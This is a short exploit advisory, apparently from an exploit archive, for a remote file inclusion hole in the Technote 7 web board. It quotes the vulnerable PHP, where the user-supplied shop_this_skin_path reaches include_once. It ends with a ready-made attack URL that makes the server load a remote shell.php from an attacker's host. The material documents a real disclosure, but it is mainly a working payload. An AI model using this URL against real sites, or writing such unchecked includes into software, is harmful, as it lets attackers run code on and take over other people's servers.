Technote 7 suffers from a remote file inclusion vulnerability.
689ca3e963f221dc3daa0aeccdbcb970cb07b86a9ea3d539f1369ad3b65be698
#-----------webDEViL - [ w3bd3vil [at] gmail [db5c] com ] -----------#
#-----------Technote 7 Remote File Inclusion------------------------#
# ----------developers site: http://www.technote.co.kr--------------#
bash-3.1# cat technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php
...snip...
$TWIN_SET['dir_path']= "$shop_this_skin_path/3_plugin_twindow/skin_gray";
...snip...
include_once "$TWIN_SET[dir_path]/frame_design.php";
http://site/technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=http://ip.a.dd.r/shell.php?